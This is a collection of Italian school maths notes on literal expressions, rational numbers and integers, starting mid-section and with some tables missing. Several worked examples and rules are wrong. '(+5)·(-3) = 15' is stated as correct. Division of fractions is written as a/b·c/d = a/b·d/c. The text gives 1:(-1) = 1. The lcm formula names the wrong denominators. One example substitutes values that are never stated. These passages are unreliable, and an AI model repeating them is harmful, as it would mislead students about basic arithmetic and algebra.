In questo caso $ \sqrt{(x-1} $quali sono i valori di x che rendono negativo l’argomento della radice? Provando a sostituire alcuni valori, notiamo che l’argomento è negativo per tutte le x più piccole di 1. Dobbiamo quindi imporre \{ x \gt 1 \).

Uso delle parentesi

Le espressioni letterali più complesse possono presentare diversi tipi di parentesi:

Le parentesi tonde: ( );
Le parentesi quadre: [ ];
Le parentesi graffe: { };

Hanno la precedenza le parentesi tonde: per prima cosa, dobbiamo svolgere le operazioni, nel giusto ordine (prima le moltiplicazioni e le divisioni, poi le addizioni e le sottrazioni, nell’ordine in cui sono scritte); successivamente svolgiamo i calcoli nelle parentesi quadre, poi nelle graffe.

Valore numerico di un’espressione letterale

Vediamo ora alcuni esempi per determinare il valore numerico di un’espressione letterale. Per farlo, dobbiamo innanzitutto accertarci che l’espressione letterale sia accettabile per i valori delle lettere che ci vengono proposti, poi possiamo proseguire sostituendo i valori al posto delle lettere:

esempio 1:

per $ a = 1 $ e $ b = 2 $

$ +3a + (-5b) + (+4a) – (-8b) = $

$ +3 \times 1 + ( -5 \times 2) + ( +4 \times 1 ) – ( -8 \times 2) = $

$ 3 – 10 + 4 +16 = 13 $

esempio 2:

per $ a = 3 $ e $ b = -1 $

$ a^2 + 3b^3 + 2a – b = 3^2 + 3 \times (-1)^3 + 2 \times 3 – 1 = $

$ 9 -3 + 6 + 1 = 13 $

esempio 3

per $ a = 2 $ e $ b = 5 $

$ \frac{3a+b}{b} + 5a $

poiché $ b \neq 0 $ possiamo procedere:

$ = \frac{3 \times 2 + 5}{5} + 5 \times 2 = \frac{11}{5} + 10 = \frac{61}{5} $

esempio 4

per $ a = -2 $ e $ b = 1 $

$ \sqrt{3a} + b^2 – 4a $

Dato che “a” è un numero negativo, moltiplicando per un numero positivo otterremo sempre una quantità negativa sotto radice; di conseguenza, non possiamo proseguire e diciamo che l’espressione letterale è priva di significato.

esempio 5:

$ \{[(3a+b)-(a+c)]\times[(a+b)-c][(b+c)\times a]\} = $

$ \{[(3 \times 3 + 2)-(3+1)] \times [(3+2) – 1]\times [(2+1)\times 3]\} = $

$ \{[(9+2) – (4)] \times [(5) -1] \times [3\times 3]\} = $

$ \{(11-4) \times [5 -1] \times 9\} = \{7 \times 4 \times 9\} = 252 $

Materiale di supporto

Espressioni letterali

Nella matematica, soprattutto nella scuola superiore, si fanno molti esercizi di calcolo con le espressioni letterali, perché hanno tantissime applicazioni non solo in algebra, ma anche in fisica.

Usare le lettere per esprimere formule

Imparare ad usare le espressioni letterali è molto importante, perché esse ci premettono di generalizzare i problemi, così da poterli poi risolvere in qualsiasi situazione.

Per esempio, possiamo esprimere l’area e il perimetro delle figure geometriche tramite espressioni letterali, cosicché ci basterà sostituire i valori dei dati alle lettere per ottenere ciò che ci serve:

$ A = \frac{ b \times h}{2} $

$ P = b + 2l $

$ A = b \times h $

$ P = 2b + 2h $

In questo modo ci basterà sostituire alle lettere “b”, “h”, “l” le misure corrispondenti a lati e altezze e determinare così perimetri e area delle nostre figure.

Usare le lettere per esprimere proprietà

Le lettere, poi, possono esprimere delle proprietà. Per esempio, la scrittura

\[ (a + b) + c = a + (b + c) \]

Esprime la proprietà associativa dell’addizione, ed è valida comunque si scelgano i valori a, b, c.

Definizione

Proprio perche ci possono aiutare a risolvere un problema trovando una formula universale, le espressioni letterali vengono definite schemi di calcolo in cui compaiono numeri e lettere legati dai simboli delle operazioni.

In un’espressione letterale le lettere rappresentano le variabili che assumono un preciso significato quando vengono sostituite da numeri. Chiamiamo valore di un’espressione letterale il risultato numerico che si ottiene eseguendo le operazioni indicate dallo schema di calcolo quando alle lettere sostituiamo un numero. Il valore dell’espressione letterale dipende dal valore assegnato alle sue variabili.

Schemi di calcolo

Ogni espressione letterale rappresenta uno schema di calcolo in cui le lettere che vi compaiono sostituiscono numeri. L’espressione letterale $ x^2 +2x $ può essere descritta da una frase di questo tipo: “prendi un numero; fanne il quadrato; aggiungi al risultato il numero moltiplicato per due”.

$ x \rightarrow x^2 \rightarrow x^2 + 2 \times x $

Questa catena di istruzioni si può anche rappresentare in modo schematico e può essere usata per istruire un esecutore a “calcolare” l’espressione letterale quando al posto della lettera x si sostituisce un numero. Calcoliamo il valore dell’espressione $ x^2 + 2x $, sostituendo alla lettera il numero naturale 4. Seguiamo la schematizzazione e otteniamo:

$ 4 \rightarrow 4^2 = 16 \rightarrow 16 + 2 \times 4 = 24 $

Esempi

Se ci fosse chiesto di trovare il doppio della somma di due numeri, potremmo rispondere utilizzando due numeri qualsiasi, quindi scrivendo, per esempio,

\[ 2 \times (5 + 3) \]

Oppure, potremmo rispondere che non si può soddisfare la richiesta se non si conoscono i numeri specifici; ma la risposta migliore è quella che ci permette di generalizzare il problema usando un’espressione letterale, in questo modo:

\[ 2 \times (a + b) \]

Esempio 1
Scrivere un’espressione algebrica letterale che soddisfi la seguente frase: “elevare al quadrato la differenza tra il cubo di un numero e il doppio del suo quadrato”.

Si procede per gradi, analizzando la frase un po’ per volta: il cubo di un numero è $ a^3 $, mentre il doppio del suo quadrato è $ 2 \times a^2 $; ora dobbiamo scrivere la loro differenza: $ a^3 – (2 \times a^2)$; dopo di che eleviamo tutto al quadrato, e otteniamo l’espressione letterale richiesta:

$ (a^3 – (2 \times a^2))^2 $

Esempio 2
Moltiplicare la somma di a e b per il doppio di a e poi aggiungere il triplo di b, con $ a = 2 $ e $ b = 1 $.

Scriviamo la somma di a e b: $ a + b $; il doppio di a: $ 2a $; e il triplo di b: $ 3b $; ora moltiplichiamo la somma di a e b per il doppio di a: $ (a + b) \times 2a $; ora aggiungiamo il triplo di b: $ (a + b) \times 2a + 3b $;
a questo punto, non ci resta che sostituire i valori numerici all’espressione:
$ (2 + 1) \times 2 \times 2 + 3 \times 1 = 3 \times 4 + 3 = 12 + 3 = 15 $

Esempio 3
Dividere la somma di a e del doppio di b per la differenza tra a e b, con $ a = 4 $ e $ b = 2 $.

Scriviamo la somma di a e del doppio di b: $ a + 2b $, e la differenza fra a e b: $ a – b $;
ora, dividiamo il primo per il secondo: $ \frac{a + 2b}{a – b} $;

prima di proseguire, ci accertiamo che con i valori assegnati il denominatore della frazione risulti diverso da zero, cioè: $ a – b \neq 0 $; poiché con $ a = 4 $ e $ b = 2 $ , la richiesta è soddisfatta, possiamo proseguire:

$ \frac{4 + 2 \times 2}{4 – 2} = \frac{4 + 4}{2} = \frac{8}{2} = 4 $

Altre risorse

Esegui il test sul calcolo letterale.

Insieme Q dei numeri razionali

Scheda in cui si tratta l’insieme $ \mathbb{Q} $ dei numeri razionali

L’insieme $ \mathbb{Q} $ dei numeri razionali

Nell’insieme $ \mathbb{N} $ dei numeri naturali le uniche operazioni interne sono l’addizione $ ( + ) $ e la moltiplicazione $ ( \cdot ) $; con l’estensione di $ \mathbb{N} $ a $ \mathbb{Z} $ è diventata interna anche l’operazione di sottrazione $ ( – ) $ . Con l’aggiunta di “nuovi” numeri, e quindi con la formazione di un nuovo insieme, è possibile fare in modo che anche la divisione (escludendo il caso della divisione per $ 0 $) diventi un’operazione interna: tale insieme è l’insieme $ \mathbb{Q} $ dei numeri razionali.
Definizione. Si definisce numero razionale una qualsiasi coppia $ (a; b) $ ordinata di numeri interi, il secondo dei quali sempre diverso da $ 0 $.

La coppia $ (a; b) $ si indica anche con il simbolo

\[ \frac{a}{b} \]

Tale simbolo si legge rapporto fra i due numeri $ a, b $, o anche frazione. In genere si chiamano $ a, b $, rispettivamente, numeratore e denominatore.

Definizione. Si definisce insieme dei numeri razionali

\[ \mathbb{Q} = \{(a; b) | a \in \mathbb{Z}, b \in \mathbb{Z}, b \neq 0\} \]

\[ \mathbb{Q} = \{\frac{a}{b} | a \in \mathbb{Z}, b \in \mathbb{Z}, b \neq 0\} \]

Osservazione . Vale la proprietà invariantiva: moltiplicando o dividendo per uno stesso numero numeratore e denominatore di una frazione, non cambia il valore della frazione.

Osservazione. Uno stesso rapporto può essere rappresentato in infiniti modi. Ad esempio, $ \frac{8}{10} $ può anche essere rappresentato come $ \frac{4}{5}, \frac{16}{20},\frac{24}{30}, \ldots $

Definizione. Una frazione si dice ridotta ai minimi termini se il massimo comun divisore del suo numeratore e del suo denominatore è $ 1 $:

\[ M.C.D.(a; b) = 1 \]

Definizione. Una frazione si dice propria se il numeratore è minore o uguale del denominatore, si dice impropria se il numeratore è maggiore del denominatore.

Osservazione. Attraverso la proprietà invariantiva si può sempre sostituire a una frazione la sua corrispondente ridotta ai minimi termini: si individua il massimo comun divisore fra numeratore e denominatore e si dividono entrambi per esso. Tale operazione è nota come semplificazione della frazione.

Si possono raggruppare le frazioni in classi: due frazioni apparterranno alla stessa classe se e solo se una si può ricavare dall’altra attraverso la proprietà invariantiva. A rappresentare ogni classe sarà la frazione ridotta ai minimi termini, e ogni classe sarà indicata con tale frazione, ovvero, si parla della classe $ \frac{2}{3}, \frac{1}{5}, \ldots $.

Osservazione. Due frazioni $ \frac{a}{b} $ che appartengono a una stessa classe si dicono equivalenti, e si indica con

\[ \frac{a}{b} \sim \frac{c}{d} \]

Due frazioni $ \frac{a}{b}, \frac{c}{d} $ sono equivalenti se e solo se

\[ a \cdot d = b \cdot c \]

Osservazione. I numeri interi, e dunque anche i numeri naturali, sono numeri razionali, in particolare un qualunque numero intero[Equazione] corrisponde alla coppia $ (a; 1) $, ovvero alla frazione

\[ \frac{a}{1} \]

Frazioni come questa, e quelle della stessa classe (ovvero $ \frac{2a}{2}, \frac{3a}{3}, \frac{4a}{4}, \ldots $) sono dette apparenti.

Di conseguenza, l’insieme $ \mathbb{Z} $ dei numeri interi è un sottoinsieme dei numeri razionali $ \mathbb{Q} $ . Poiché $ \mathbb{N} $ è un sottoinsieme di $ \mathbb{Z} $ anche $ \mathbb{N} $ è un sottoinsieme di $ \mathbb{Q} $.

\[ \mathbb{N} \subset \mathbb{Z} \subset \mathbb{Q} \]

Osservazione. Poiché $ \mathbb{Q} $ ha un sottoinsieme infinito, anch’esso sarà un insieme infinito.

L’insieme $ \mathbb{Q} $ è un insieme ordinato

L’insieme $ \mathbb{Q} $ dei numeri razionali è un insieme ordinato, vale a dire, presi due numeri razionali $ \frac{a}{b}, \frac{c}{d} $ qualsiasi vale una delle seguenti:

\[ \frac{a}{b} \lt \frac{c}{d} \]

\[ \frac{a}{b} \gt \frac{c}{d} \]

\[ \frac{a}{b} = \frac{c}{d} \]

Per stabilire quale delle tre è quella corretta si procede nel seguente modo:

Si calcola $ ad – bc $
Se

$ a \cdot d – b \cdot c = 0 $ allora le due frazioni sono equivalenti (in questa circostanza si può anche dire uguali)

$ a \cdot d – b \cdot c \lt 0 $ allora $ \frac{a}{b} \lt \frac{c}{d} $

$ a \cdot d – b \cdot c \gt 0 $ allora $ \frac{a}{b} \gt \frac{c}{d} $

Le operazioni interne all’insieme dei numeri razionali

L’insieme $ \mathbb{Q} $ è chiuso rispetto all’addizione, alla sottrazione, alla moltiplicazione e alla divisione (se si esclude il caso della divisione per $ 0 $).

L’addizione $ ( + ) $ e la sottrazione $ ( – ) $

Le operazioni di addizione e di sottrazione sono operazioni interne all’insieme dei numeri razionali. Il risultato di tale operazione sarà ancora un numero razionale. Così come in $ \mathbb{Z} $ si è soliti parlare di un’unica operazione, quella di somma algebrica.

Terminologia della somma algebrica in $ \mathbb{Q} $

La terminologia della somma algebrica in $ \mathbb{Q} $ è identica a quella in $ \mathbb{Z} $ .

Primo caso (stesso denominatore)

La somma di due frazioni (a prescindere dal segno) che hanno lo stesso denominatore si svolge secondo la seguente regola:

\[ \frac{a}{b} + \frac{c}{b} = \frac{a + c}{b} \]

Secondo caso (denominatore diverso)

Per sommare due frazioni con denominatori diversi basta ricondursi al caso precedente. Se la prima frazione è $ \frac{a}{b} $ e la seconda è $ \frac{c}{d} $, si calcola il minimo comune multiplo dei denominatori

\[ m.c.m.(c, d) = k \]

Ora si sostituiscono alle frazioni di partenza le loro corrispondenti con denominatore $ k $. Siccome $ k $ è multiplo di $ c $ e di $ d $, allora esistono due numeri naturali $ A, B $ grazie ai quali è possibile scrivere

\[ k = b \cdot A \]

\[k = d \cdot B \]

Allora:

\[ \frac{a}{b}+\frac{c}{d}=\frac{a \cdot A}{b \cdot A}+\frac{c \cdot B}{d \cdot B} = \frac{a \cdot A}{k} + \frac{c \cdot B}{k} = \frac{a \cdot A + c \cdot B}{k} \]

La somma algebrica si schematizza nel seguente modo:

Segno del primo addendo	Modulo del primo addendo	Segno del secondo addendo	Modulo del secondo addendo	Segno della somma	Modulo della somma
$ + $	$ \frac{a}{b} $	$ + $	$ \frac{c}{d} $	$ + $	$ \frac{a}{b} + \frac{c}{d} $
$ – $	$ \frac{a}{b} $	$ – $	$ \frac{c}{d} $	$ – $	$ \frac{a}{b}+\frac{c}{d} $
$ + $	$ \frac{a}{b} $	$ – $	$ \frac{c}{d} $	$ + $ Se $ \frac{a}{b} \gt \frac{c}{d} $ $ – $ Se $\frac{a}{b} \lt \frac{c}{d} $ Nessun segno se $ \frac{a}{b} = \frac{c}{d} $	$ \frac{a}{b}-\frac{c}{d} $
$ – $	a	$ + $	b	$ + $ Se $ \frac{c}{d} \gt \frac{a}{b}$ $ – $ Se $ \frac{c}{d} \lt \frac{a}{b} $ Nessun segno se $ \frac{a}{b} = \frac{c}{d} $	$ \frac{c}{d} – \frac{a}{b} $

Proprietà della somma algebrica

La somma algebrica in $ \mathbb{Q} $ gode delle stesse proprietà della somma algebrica in $ \mathbb{Z} $.

Esempi

\[ \frac{3}{4}+\frac{7}{4}=\frac{10}{4}=\frac{5}{2} \]

\[ \frac{8}{3}+\frac{1}{2}=\frac{16}{6}+\frac{3}{6}=\frac{19}{6} \]

La moltiplicazione $ \cdot $

L’operazione di moltiplicazione è un’operazione interna all’insieme $ \mathbb{Q} $ dei numeri razionali. Il risultato di tale operazione sarà ancora un numero razionale.

Terminologia della moltiplicazione in $ \mathbb{Q} $

La terminologia della moltiplicazione in $ \mathbb{Q} $ è identica a quella della moltiplicazione in $ \mathbb{Z} $ .

La regola dei segni

La regola dei segni per la moltiplicazione fra numeri interi vale anche per la moltiplicazione fra numeri razionali:

In una moltiplicazione, se i segni dei due fattori sono uguali (ovvero i due fattori sono concordi), allora il prodotto sarà positivo; se i segni dei due fattori sono diversi (ovvero i due fattori sono discordi), allora il prodotto sarà negativo.

Essa si può schematizzare nel seguente modo:

La moltiplicazione fra due frazioni (a prescindere dai segni delle due) si svolge secondo la seguente regola

\[ \frac{a}{b} \cdot \frac{c}{d} = \frac{a \cdot c}{b \cdot d} \]

La semplificazione “incrociata”

Oltre alla normale semplificazione fra numeratore e denominatore di una frazione, si può anche svolgere un ulteriore tipo di semplificazione, detta incrociata, nel caso della moltiplicazione di due o più frazioni, fra il numeratore di una frazione e il denominatore di un’altra.

Esempio

\[ \frac{5}{14} \cdot \frac{7}{10} \]

Il normale calcolo porterebbe a

\[ \frac{5}{14} \cdot \frac{7}{10} = \frac{5 \cdot 7}{14 \cdot 10} = \frac{35}{140} = \frac{1}{4} \]

Esso porta a calcoli relativamente alti, e a una semplificazione poco agevole, perché si lavora con numeri relativamente alti. Con la semplificazione incrociata invece:

\[ \frac{\cancel{5}^1}{\cancel{14}^2} \cdot \frac{\cancel{7}^1}{\cancel{10}^2}=\frac{1}{2}\cdot\frac{1}{2}=\frac{1}{4} \]

Proprietà della moltiplicazione

La moltiplicazione tra numeri razionali gode delle stesse proprietà della moltiplicazione tra numeri interi: in particolar modo l’elemento neutro sarà $ +1 $ e l’opposto di $ \frac{a}{b} $ è $ -\frac{a}{b} $.

Ad esse, tuttavia, se ne aggiunge una nuova:

Ogni numero razionale diverso dallo $ 0 $ possiede l’inverso, ovvero per ogni numero razionale $ \frac{a}{b} $diverso da $ 0 $ esiste un numero razionale $ x $ tale che

\[ \frac{a}{b} \cdot x = 1 \]

Tale numero è

\[ \frac{b}{a} \]

Osservazione

Nel caso della moltiplicazione di tre o più numeri interi si procede applicando la proprietà associativa: si scelgono due numeri e se ne fa la moltiplicazione, dunque altri due numeri, e così via, fino a ottenere il risultato

Esempio $ \frac{1}{2}\cdot\frac{3}{4}\cdot\frac{7}{5}\cdot\frac{2}{3} $

Prima ad esempio svolgo la moltiplicazione fra $ \frac{1}{2} $ e $ \frac{3}{4} $

\[ \frac{1}{2}\cdot\frac{3}{4}=\frac{3}{8} \]

\[ \frac{1}{2} \cdot \frac{3}{4}\cdot\frac{7}{5}\cdot\frac{2}{3}=\frac{3}{8}\cdot\frac{7}{5}\cdot\frac{2}{3} \]

Quindi per esempio, ricordando anche la proprietà commutativa, la moltiplicazione fra $ \frac{3}{8} $ e $ \frac{2}{3} $

\[ \frac{3}{8} \cdot \frac{2}{3} = \frac{1}{4} \]

Infine, eseguo la moltiplicazione fra $ \frac{1}{4} $ e $ \frac{7}{5} $

\[ \frac{1}{4} \cdot \frac{7}{5} = \frac{7}{20} \]

La divisione $ ( : ) $

L’insieme $ \mathbb{Q} $ dei numeri razionali è chiuso rispetto all’operazione di divisione, se si esclude il caso della divisione per $ 0 $.

Terminologia della divisione in $ \mathbb{Q} $

La terminologia della divisione in $ \mathbb{Q} $ è identica a quella della divisione in $ \mathbb{Z} $ . Il risultato di tale operazione sarà ancora un numero razionale.

La regola dei segni

Anche per la divisione fra numeri razionali vale la regola dei segni della moltiplicazione fra numeri interi.

Per poter svolgere la divisione fra due numeri razionali si applica la seguente regola:

La divisione fra due numeri razionali $ \frac{a}{b} $ e $ \frac{c}{d} $ è uguale alla moltiplicazione del primo con l’inverso del secondo, ovvero

\[ \frac{a}{b} \cdot \frac{c}{d} = \frac{a}{b} \cdot \frac{d}{c} \]

Proprietà della divisione

La divisione fra numeri razionali gode delle stesse proprietà della divisione fra numeri interi, e in particolare della proprietà distributiva.

Osservazione Con l’introduzione dei numeri razionali si può sempre svolgere la divisione fra due qualsiasi numeri interi. Infatti dire

\[ a : b \]

è equivalente alla scrittura

\[ \frac{a}{b} \]

Il rapporto fra due numeri interi

Il rapporto fra due numeri interi qualsiasi può essere scritto in un altro modo, oltre che con le frazioni: la scrittura decimale. Sono esempi di scrittura decimale

\[ 0.25 \ \ \ \ \ 1,\bar{3}\ \ \ \ \ 1,18\ \ \ \ \ 1,1\bar{5} \]

Definizione La parte a sinistra della virgola è chiamata parte intera, la parte a destra della virgola è chiamata parte decimale.

Le scritture decimali possono essere di tre tipi diversi:

Decimale finito	Decimale periodico semplice	Decimale periodico misto
Dopo la virgola c’è un numero limitato di cifre diverse da $ 0 $	Dopo la virgola c’è un gruppo di cifre che si ripete infinitamente	Dopo la virgola c’è un gruppo di cifre che non si ripete e dopo di esso c’è un gruppo di cifre che si ripete infinitamente

I decimali periodici semplici

Definizione Il gruppo di cifre che si ripete indefinitamente alla destra della virgola è chiamato periodo. Esso è indicato scrivendolo una sola volta a destra della virgola sotto una linea continua.

Definizione Si chiama frazione generatrice del numero decimale una qualsiasi frazione che genera quest’ultimo.

Calcolo della frazione generatrice di un decimale periodico semplice

Indicato un qualsiasi numero decimale periodico semplice nel seguente modo $ a, \bar{b} $ (ovvero con $ a $ la sua parte intera e con \( b ) il periodo) il calcolo della frazione generatrice di un decimale periodico semplice si svolge nel seguente modo:

Si scrive il numero $a, \bar{b} $ senza la virgola	$ 1,\bar{3} $	$ 13 $
Al numero ottenuto si sottrae il periodo		$ 13 – 3 = 10 $
Si divide il numero ottenuto per un numero formato da tanti 9 quante sono le cifre che formano il periodo		$ \frac{10}{9} $

I decimali periodici misti

Definizione Il gruppo di cifre alla destra della virgola che non si ripete indefinitamente è chiamato antiperiodo, il gruppo di cifre alla destra della virgola che si ripete indefinitamente è chiamato periodo.

Calcolo della frazione generatrice di un decimale periodico misto

Indicato un qualsiasi numero decimale periodico misto nel seguente modo $a, c\bar{b} $ (ovvero con $ a $ la sua parte intera, con $ c $ il suo antiperiodo e con $ b $ il periodo) il calcolo della frazione generatrice di un decimale periodico misto si svolge nel seguente modo:

Si scrive il numero $ 1,0\bar{3} $ senza la virgola	$ 1,0\bar{3} $	$ 103 $
Al numero ottenuto si sottrae il numero ottenuto affiancando $ a $ e $ c $ (senza la virgola)		$ 103 – 10 = 93 $
Si divide il numero ottenuto per un numero formato da tanti 9 quante sono le cifre che formano il periodo, seguiti da tanti 0 quante sono le cifre dell’antiperiodo		$ \frac{93}{90} $

I decimali finiti
Osservazione Si può immaginare un numero decimale finito come un decimale periodico misto che ha come antiperiodo le cifre che si trovano dopo la virgola e come periodo lo $ 0 $:

\[ 1,25 = 1,25000000\ldots = 1,25\bar{0} \]

Calcolo della frazione generatrice di un decimale periodico misto

Indicato un qualsiasi numero decimale finito nel seguente modo $ a, c $ (ovvero con $ a $ la sua parte intera e con $ c $ la sua parte decimale) il calcolo della frazione generatrice di un decimale finito si svolge nel seguente modo:

Si scrive il numero $ a, c $ senza la virgola	$ 1,25 $	$ 125 $
Si divide il numero ottenuto per $ 10^n $, dove $ n $ è il numero di cifre della parte decimale		$ \frac{125}{100} $

Come capire se una frazione genera un numero decimale finito, periodico semplice, periodico misto

La regola per capire se una frazione genera un numero decimale finito, periodico semplice, periodico misto è la seguente:

Si scompone il denominatore
Se:

Il denominatore contiene solo fattori 2 e 5	Il denominatore contiene solo fattori diversi da 2 e 5	Il denominatore contiene almeno un fattore 2 o almeno un fattore 5 o entrambi e anche altri fattori diversi da 2 e 5
Numero decimale finito	Numero decimale periodico semplice	Numero decimale periodico misto
$ \frac{1}{10} = 0,1 $ È un numero decimale finito perché $ 10 = 2 \cdot 5 $ e non contiene fattori diversi da 2 e 5	$ \frac{1}{21} = 0,\bar{047619} $ È un decimale periodico semplice perché $ 21 = 3 \cdot 7 $ e non contiene né fattori 2 né fattori 5	$ \frac{1}{35} = 0,0\bar{285714} $ È un decimale periodico misto perché $ 35 = 5 \cdot 7 $, ovvero contiene almeno un fattore 5 e almeno un fattore diverso sia da 2 che da 5

Materiale di supporto

Formulario sugli insiemi numerici (file PDF)

Videolezione su come trasformare i numeri decimali in frazioni.

Insieme Z dei numeri interi

Scheda in cui si tratta l’insieme $ \mathbb{Z} $ dei numeri interi.

L’insieme $ \mathbb{Z} $ dei numeri interi

Nell’insieme $ \mathbb{N} $ dei numeri naturali le uniche operazioni interne sono l’addizione ($ + $) e la moltiplicazione ($ \cdot $). Con l’aggiunta di “nuovi” numeri, e quindi con la formazione di un nuovo insieme, è possibile fare in modo che anche la sottrazione diventi un’operazione interna: tale insieme è l’insieme $ \mathbb{Z} $ dei numeri interi relativi.

Definizione

Si definisce insieme dei numeri interi positivi $ \mathbb{Z^+} $ l’insieme di tutti i numeri naturali ad eccezione dello 0.

\[ \mathbb{Z^+} = N \setminus \{ 0 \} \]

Definizione

Si definisce insieme dei numeri interi negativi $ \mathbb{Z^-} $ l’insieme

$ \mathbb{Z^-} =\{-1, -2, -3, \ldots\} $

i cui elementi sono gli elementi dell’insieme $ \mathbb{Z^+} $ ai quali si pone davanti un segno $ – $.

Osservazione

Lo $ 0 $ non è né positivo né negativo, semplicemente non ha segno.

Definizione

Si definisce insieme dei numeri interi relativi $ \mathbb{Z} $ l’unione degli insiemi $ \mathbb{N} $ e $ \mathbb{Z^-} $

$ \mathbb{Z} = \mathbb{N} \cup \mathbb{Z^-} $

Osservazione

Tutti i numeri naturali sono elementi di $ \mathbb{Z} $ : di conseguenza $ \mathbb{N} $ è un sottoinsieme di $ \mathbb{Z} $

$ \mathbb{N} \subset \mathbb{Z} $

Osservazione

Poiché $ \mathbb{Z} $ ha un sottoinsieme infinito, anch’esso sarà un insieme infinito.

Osservazione

Poiché $ \mathbb{N} \subset \mathbb{Z} $ tutte le proprietà che valgono in $ \mathbb{Z} $ varranno anche in $ \mathbb{N} $ ,

Definizione

Dati due numeri interi $ a, b $ si dice che essi sono:

Concordi se hanno lo stesso segno
Discordi se hanno segno diverso

Esempio 1

I numeri $ +8 $ e $ -5 $ sono discordi, i numeri $ +16 $ e $+1 $ sono concordi, i numeri $ -12 $ e $ -40 $ sono concordi.

Osservazione

I segni $ + $ e $ – $ sono usati con accezioni distinte. Essi possono indicare l’operazione di addizione e sottrazione, rispettivamente, oppure possono indicare se un numero è positivo oppure negativo: in quest’ultimo caso, il segno $ + $ può essere sottinteso.

Esempio 2

In $ (+12) + (-3) $, il primo $ + $ non indica un’operazione, e dunque può essere tranquillamente sottinteso: dunque il segno si può omettere e si può scrivere anziché $ +12 $ semplicemente $ 12 $; il secondo $ + $ invece indica l’operazione di addizione fra i numeri $ +12 $ (o $ 12 $, per quanto detto) e $ -3 $, e dunque non si può omettere.

Il valore assoluto

Definizione

Due numeri interi si dicono opposti se sono discordi e hanno uguale modulo. L’opposto di un numero $ a $ si indica con $ -a $.

Osservazione

Il segno $ – $ se si tiene conto anche di questa funzione, ha dunque tre possibili significati: i due precedentemente detti e quest’ultimo, con il quale si segnala l’opposto di un numero.

Definizione

Preso un numero intero $ a $ si definisce il suo valore assoluto, o modulo, nel seguente modo:

Se $ a $ è positivo, oppure è uguale a $ 0 $, allora il valore assoluto è $ a $ stesso;
Se $ a $ è negativo, allora il valore assoluto è l’opposto di $ a $ , ovvero $ -a $.

Il valore assoluto di $ a $ si indica con il simbolo $ | a | $.

Le operazioni interne all’insieme dei numeri interi

L’insieme $ \mathbb{Z} $ è chiuso rispetto all’addizione e alla moltiplicazione, ma anche alla sottrazione. La divisone non è un’operazione interna a $ \mathbb{Z} $.

La moltiplicazione $ ( \cdot ) $

L’operazione di moltiplicazione è un’operazione interna all’insieme $ \mathbb{Z} $ dei numeri interi. Il risultato di tale operazione sarà ancora un numero intero, il cui segno è dato dalla regola dei segni, e il modulo è dato dal prodotto dei moduli dei due fattori.

Terminologia della moltiplicazione in $ \mathbb{Z} $

La terminologia della moltiplicazione in $ \mathbb{Z} $ è identica a quella della moltiplicazione in $ \mathbb{N} $.

La regola dei segni

Per la moltiplicazione fra numeri interi, esiste una regola, nota come regola dei segni, che permette di stabilire facilmente il segno del prodotto, ovvero del risultato dell’operazione. Tale legge è la seguente:
In una moltiplicazione, se i segni dei due fattori sono uguali (ovvero i due fattori sono concordi), allora il prodotto sarà positivo; se i segni dei due fattori sono diversi (ovvero i due fattori sono discordi), allora il prodotto sarà negativo.

Essa si può schematizzare nel seguente modo:

Esempi

$ (+5) \cdot (-3) = 15 $

$ (-2) \cdot (+4) = -8 $

$ (+2) \cdot (+10) = +20 $

$ (-5) \cdot (-1) = +5 $

Proprietà della moltiplicazione

La moltiplicazione tra numeri interi gode delle stesse proprietà della moltiplicazione tra numeri naturali: in particolar modo l’elemento neutro sarà $ +1 $.

Osservazione

Esempio

$ (-5) \cdot (3) \cdot (-2) \cdot (-3) $

Prima, ad esempio, eseguo la moltiplicazione fra $ -5 $ e $ + 3 $

$ (-5) \cdot (3) = -15 $

$ (-5) \cdot (3) \cdot (-2) \cdot (-3) = (-15) \cdot (-2) \cdot (-3) $

Quindi per esempio, ricordando anche la proprietà commutativa, la moltiplicazione fra $ -15 $ e $ -3 $.

$ (-15) \cdot (-3) = 45 $

Infine eseguo la moltiplicazione fra $ 45 $ e $ -2 $

$ (45) \cdot (-2) = -90 $

Osservazione

L’opposto di un numero intero $ a $ è $ -a $: l’opposto di un numero si ricava moltiplicando quest’ultimo per $ -1 $.

\[ a \cdot (-1) = (-1) \cdot a = -a \]

L’addizione $ ( + ) $ e la sottrazione $ ( – ) $

Le operazioni di addizione e sottrazione sono operazioni interne a $ \mathbb{Z} $. In questo nuovo insieme anziché considerarle come operazioni separate, solitamente si considera un’unica operazione, quella di somma algebrica.

Osservazione L’unificazione di queste due operazioni deriva semplicemente dal fatto che $ a – b = a + (-b) $, ovvero sottrarre un numero a un altro significa sommare a quest’ultimo l’opposto del primo.

Terminologia della somma algebrica in $ \mathbb{Z} $

La terminologia della somma algebrica in $ \mathbb{Z} $ è identica a quella dell’addizione in $ \mathbb{N} $.

L’operazione di somma algebrica presenta più situazioni della moltiplicazione. Questi sono schematizzati nel seguente modo:

Proprietà della somma algebrica

La somma algebrica in $ \mathbb{Z} $ gode delle stesse proprietà dell’addizione e della proprietà invariantiva della sottrazione in $ \mathbb{N} $.

La divisione $ ( : ) $

L’insieme $ \mathbb{Z} $ dei numeri interi non è chiuso rispetto all’operazione di divisione. Il divisore è sempre diverso da $ 0 $.

Esempio

$ (+4) : (-5) $ non è un’operazione che si può svolgere con i numeri naturali: il risultato non è un numero naturale.

Cosa serve per svolgere una divisione con i numeri interi

La divisione fra due numeri interi, ordinatamente $ a, b $ si può svolgere solo se il modulo del primo è un multiplo del modulo del secondo, o equivalentemente se il modulo del secondo è un divisore del modulo del primo.

Terminologia della divisione in $ \mathbb{Z} $

La terminologia della divisione in $ \mathbb{Z} $ è identica a quella della divisione in $ \mathbb{N} $ .

Nel caso in cui la divisione fra due numeri interi sia possibile, il risultato di tale operazione sarà ancora un numero intero, il cui segno è dato dalla regola dei segni, e il modulo è dato dalla divisione dei moduli del dividendo e del divisore.

Esempi

$ (+9) : (-3) = -3 $

$ (-4) : (+4) = -1 $

$ (+12) : (+4) = +3 $

$ (-5) : (-1) = +5 $

Proprietà della divisione
La divisione non gode delle proprietà commutativa e associativa dell’addizione; l’$ 1 $ si può ammettere come elemento neutro della divisione solo parzialmente: infatti

\[ a : 1 = a \]

ma non si può dire nulla della quantità

\[ 1 : a \]

(a meno che $ a = 1 $, e in tal caso $ 1 : a = 1 $, oppure $ a = -1 $, e in tal caso $ 1 : a = 1 $

Tuttavia, la divisione gode della proprietà invariantiva:

Il quoziente tra due numeri non cambia se si moltiplica o si divide ognuno di essi per uno stesso numero

\[ a : b = (a \cdot c) : (b \cdot c) \]

\[ a : b = (a : c) : (b : c) \]

La proprietà distributiva

